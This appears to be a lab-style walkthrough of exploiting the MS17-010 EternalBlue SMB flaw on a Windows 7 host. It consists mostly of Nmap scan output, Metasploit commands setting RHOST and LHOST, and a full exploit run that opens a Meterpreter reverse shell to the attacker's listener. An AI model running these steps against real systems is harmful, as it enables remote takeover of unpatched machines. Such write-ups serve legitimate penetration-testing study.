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Exploiting this kind of vulnerability is very simple. All you have to do is start Metasploit framework and send the required payload to the target system.
I am assuming that you already have Nmap scanned your target machine. These are my scan results: You can see that Nmap points out that specified machine is vulnerable to MS 17–010
Nmap scan report for 10.10.57.27
Host is up, received echo-reply ttl 127 (0.24s latency).
Scanned at 2021-01-19 17:40:16 EST for 141s
Not shown: 991 closed ports
Reason: 991 resets
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server? syn-ack ttl 127
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| [http://technet.microsoft.com/en-us/security/bulletin/ms12-020](http://technet.microsoft.com/en-us/security/bulletin/ms12-020)
| [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152)
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| [http://technet.microsoft.com/en-us/security/bulletin/ms12-020](http://technet.microsoft.com/en-us/security/bulletin/ms12-020)
|_ [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002)
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49159/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
First search for the specified vulnerability in msfconsole.
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce
Now use the suitable option.
msf6 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.8.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
Now set RHOST and LHOST
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.9.156.192
LHOST => 10.9.156.192
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.57.27
And now exploitation:
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.9.156.192:4444
[*] 10.10.57.27:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.57.27:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.57.27:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.57.27:445 - Connecting to target for exploitation.
[+] 10.10.57.27:445 - Connection established for exploitation.
[+] 10.10.57.27:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.57.27:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.57.27:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.57.27:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.57.27:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.57.27:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.57.27:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.57.27:445 - Sending all but last fragment of exploit packet
[*] 10.10.57.27:445 - Starting non-paged pool grooming
[+] 10.10.57.27:445 - Sending SMBv2 buffers
[+] 10.10.57.27:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.57.27:445 - Sending final SMBv2 buffers.
[*] 10.10.57.27:445 - Sending last fragment of exploit packet!
[*] 10.10.57.27:445 - Receiving response from exploit packet
[+] 10.10.57.27:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.57.27:445 - Sending egg to corrupted connection.
[*] 10.10.57.27:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.57.27
[*] Meterpreter session 1 opened (10.9.156.192:4444 -> 10.10.57.27:49218) at 2021-01-19 18:14:29 -0500
[+] 10.10.57.27:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.57.27:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.57.27:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
If you have done all the above steps correctly the exploit should be successful.